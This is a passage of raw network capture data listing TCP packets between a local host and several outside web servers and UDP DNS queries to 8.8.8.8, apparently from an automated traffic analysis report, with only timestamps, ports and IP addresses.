Feb 16, 2023 10:02:12.153212070 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153230906 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153249025 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153249979 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153268099 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153281927 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153286934 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153306961 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153325081 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153326035 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153342962 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153361082 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153362036 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153382063 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153394938 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153399944 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153419971 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153434992 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153438091 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153459072 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153471947 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153476954 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153497934 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153510094 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153517008 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153537035 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153556108 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153559923 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153574944 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153594017 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153610945 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153630972 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153647900 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153649092 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153676033 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153690100 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153695107 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153714895 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153729916 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153734922 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153753996 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153769970 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153772116 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153790951 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153804064 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153810024 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153830051 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153842926 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153848886 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153867960 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153884888 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153886080 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153906107 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153918028 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153923988 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153943062 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153959990 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153960943 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153980017 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.153992891 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.153999090 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154016972 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154031038 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154036045 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154055119 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154071093 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154072046 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154090881 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154104948 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154109001 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154128075 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154140949 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154146910 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154165030 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154177904 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154182911 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154202938 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154220104 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154222965 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154237986 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154256105 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154263973 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154273987 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154292107 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154295921 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154309988 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154329062 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154329062 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154347897 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154366970 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154372931 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.154386044 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.154405117 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.210511923 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.210547924 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.210567951 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.210683107 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.210731030 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213352919 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213382006 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213402987 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213422060 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213440895 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213459969 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213478088 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213483095 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213495970 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213515997 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213534117 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213552952 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213553905 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213572979 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213582039 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213592052 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213608027 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213613033 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213634014 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213651896 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213659048 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213685036 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213695049 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213715076 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213732004 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213749886 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213759899 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.213766098 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:12.213788033 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.329771996 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:12.963320971 CET	49727	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:13.016639948 CET	80	49727	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:13.021029949 CET	49727	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:13.021317959 CET	49727	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:13.021353006 CET	49727	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:13.076601982 CET	80	49727	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:13.272435904 CET	80	49727	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:13.272484064 CET	80	49727	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:13.272545099 CET	49727	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:13.279383898 CET	49727	80	192.168.2.4	95.158.162.200
Feb 16, 2023 10:02:13.333981037 CET	80	49727	95.158.162.200	192.168.2.4
Feb 16, 2023 10:02:27.573699951 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:27.573916912 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:27.574034929 CET	49726	80	192.168.2.4	91.227.16.11
Feb 16, 2023 10:02:27.637722015 CET	80	49726	91.227.16.11	192.168.2.4
Feb 16, 2023 10:02:35.399270058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:02:35.413868904 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:02:35.413985014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:02:35.588773012 CET	80	49698	23.106.124.133	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2023 10:01:16.064870119 CET	56572	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:16.088568926 CET	53	56572	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:17.629725933 CET	50911	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:17.647327900 CET	53	50911	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:19.226974010 CET	59683	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:19.246623993 CET	53	59683	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:31.929471970 CET	64167	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:31.949130058 CET	53	64167	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:33.478121042 CET	58565	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:33.497405052 CET	53	58565	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:35.025403023 CET	52239	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:35.043365955 CET	53	52239	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:36.593065977 CET	56807	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:37.597351074 CET	56807	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:37.615175962 CET	53	56807	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:37.866658926 CET	61007	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:37.886213064 CET	53	61007	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:39.442542076 CET	60686	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:39.882405996 CET	53	60686	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:41.802918911 CET	61124	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:41.823708057 CET	53	61124	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:43.365268946 CET	59444	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:43.782329082 CET	53	59444	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:44.781291962 CET	55570	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:45.245112896 CET	53	55570	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:47.136712074 CET	64906	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:47.157108068 CET	53	64906	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:49.493201971 CET	59446	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:49.514844894 CET	53	59446	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:51.163912058 CET	50861	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:51.621810913 CET	53	50861	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:52.133774996 CET	61088	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:52.152090073 CET	53	61088	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:53.792125940 CET	58729	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:53.809781075 CET	53	58729	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:54.312884092 CET	64700	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:54.330352068 CET	53	64700	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:55.672084093 CET	56022	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:55.692218065 CET	53	56022	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:57.396925926 CET	60822	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:57.416384935 CET	53	60822	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:58.370126009 CET	49750	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:58.387893915 CET	53	49750	8.8.8.8	192.168.2.4
Feb 16, 2023 10:01:58.784948111 CET	60550	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:01:58.802736998 CET	53	60550	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:00.449548960 CET	54851	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:00.469985008 CET	53	54851	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:00.902584076 CET	57300	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:00.922305107 CET	53	57300	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:01.201468945 CET	54521	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:01.219739914 CET	53	54521	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:02.744349957 CET	58914	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:03.254012108 CET	53	58914	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:04.652700901 CET	51419	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:04.670348883 CET	53	51419	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:06.886043072 CET	51054	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:06.903814077 CET	53	51054	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:08.812927008 CET	55673	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:08.832777977 CET	53	55673	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:10.453196049 CET	49735	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:10.470860004 CET	53	49735	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:11.640053988 CET	52437	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:11.659533024 CET	53	52437	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:12.487109900 CET	52825	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:12.957976103 CET	53	52825	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.702497959 CET	58530	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.703449011 CET	64959	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.704149961 CET	63093	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.705401897 CET	50433	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.705893993 CET	53498	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.707844019 CET	61460	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.708857059 CET	63001	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.709346056 CET	65133	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.709633112 CET	60998	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.711078882 CET	61733	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.723999977 CET	53	63093	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.725173950 CET	53	58530	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.726850033 CET	53	50433	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.729341984 CET	53	61460	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.730644941 CET	53	61733	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.737678051 CET	53	53498	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.741123915 CET	53	63001	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.742305040 CET	53	60998	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.756160021 CET	53370	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.762547016 CET	63746	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.784363985 CET	53	63746	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.803368092 CET	50622	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.827330112 CET	64773	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.829313993 CET	53	50622	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.851327896 CET	53	64773	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.867413044 CET	59818	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.871110916 CET	49684	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.891365051 CET	63229	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.910860062 CET	53	63229	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.918159962 CET	53	59818	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.940742970 CET	58576	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:38.955770969 CET	53	64959	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.963257074 CET	53	65133	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:38.964040995 CET	53	58576	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.006899118 CET	54044	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.011544943 CET	53	49684	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.033674002 CET	52259	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.044061899 CET	53	54044	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.062932014 CET	53887	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.073090076 CET	53	53370	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.091502905 CET	56218	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.099447012 CET	53	53887	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.127835989 CET	53	56218	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.199719906 CET	50094	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.207139015 CET	53	52259	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.217488050 CET	53	50094	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.263631105 CET	51766	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.288814068 CET	61522	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.311674118 CET	53	61522	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.316212893 CET	53	51766	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.363293886 CET	57349	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.381573915 CET	53963	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.382766008 CET	53	57349	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.391861916 CET	53622	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.396039009 CET	49600	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.415923119 CET	53	49600	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.433231115 CET	53	53963	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.465526104 CET	58355	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.489744902 CET	53	58355	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.535917997 CET	57601	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.569719076 CET	53	53622	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.579058886 CET	64159	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.581922054 CET	59926	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.590204000 CET	53	57601	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.605591059 CET	53	59926	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.673055887 CET	61709	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.699193001 CET	53	64159	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.723167896 CET	53	61709	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.724075079 CET	59182	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.808482885 CET	61657	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.835310936 CET	53	59182	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.858769894 CET	53	61657	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.889292002 CET	50012	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.889424086 CET	56904	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.892921925 CET	51511	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:39.909748077 CET	53	56904	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.942013025 CET	53	51511	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:39.952569962 CET	53	50012	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.034981966 CET	57889	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.037353039 CET	58480	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.039954901 CET	57682	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.060117960 CET	53	57682	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.072626114 CET	53	57889	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.110327959 CET	54075	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.112102985 CET	49746	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.114092112 CET	61940	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.131290913 CET	53	49746	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.134172916 CET	53	61940	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.145693064 CET	50065	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.166835070 CET	53	50065	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.190165997 CET	53573	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.195585966 CET	60828	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.213033915 CET	53	60828	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.220910072 CET	53	54075	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.261931896 CET	59673	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.263989925 CET	61470	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.284765959 CET	53	61470	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.289767981 CET	53	58480	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.299091101 CET	53	53573	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.313236952 CET	61837	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.322911978 CET	59385	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.330239058 CET	55704	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.350965977 CET	53	61837	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.360913038 CET	53	55704	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.390860081 CET	53	59673	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.438322067 CET	53511	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.459575891 CET	53	53511	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.473165989 CET	50532	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.477287054 CET	50545	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.495965004 CET	53	59385	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.505608082 CET	53	50532	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.516949892 CET	55285	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.524661064 CET	53	50545	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.551214933 CET	53	55285	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.555562019 CET	61369	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.580692053 CET	65419	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.583029032 CET	51320	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.613774061 CET	53	65419	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.669660091 CET	53	61369	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.703352928 CET	53	51320	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.720890999 CET	57214	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.743856907 CET	53	57214	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.746965885 CET	62509	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:40.764415026 CET	53	62509	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:40.981889963 CET	59892	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.005178928 CET	53	59892	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:41.192451954 CET	59554	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.198380947 CET	59877	53	192.168.2.4	8.8.8.8
